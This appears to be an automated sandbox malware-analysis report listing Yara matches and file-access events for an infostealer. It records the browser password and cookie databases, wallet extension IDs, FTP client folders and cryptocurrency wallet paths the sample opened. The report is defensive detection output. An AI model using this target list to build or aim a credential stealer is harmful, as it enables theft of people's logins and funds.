Source: Yara match File source: 0000000C.00000002.3021034052.0000000000831000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.3117634363.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2804824031.000000000127E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.3023166643.000000000157E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.3226332079.00000000006C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2803875794.0000000000531000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.3322729341.00000000013CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: B7KMZCE66VGDP83M16.exe PID: 4440, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 994a9a760e.exe PID: 4024, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: num.exe PID: 4948, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 994a9a760e.exe PID: 5692, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe PID: 1444, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
Found many strings related to Crypto-Wallets (likely being stolen)
Source: file.exe String found in binary or memory: llets/Electrum-LTC
Source: file.exe String found in binary or memory: s/ElectronCash
Source: file.exe String found in binary or memory: Jaxx Liberty
Source: 3f779c1cca.exe, 0000000E.00000003.3160548114.00000000007B7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: 3f779c1cca.exe, 0000000B.00000003.2926177602.0000000001212000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe String found in binary or memory: ExodusWeb3
Source: 3f779c1cca.exe, 0000000E.00000003.3173752063.0000000005213000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "%appdata%\\Ethereum","m
Source: 3f779c1cca.exe, 0000000B.00000003.2963743388.00000000059A7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2270739006.00000000016A4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: keystore
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
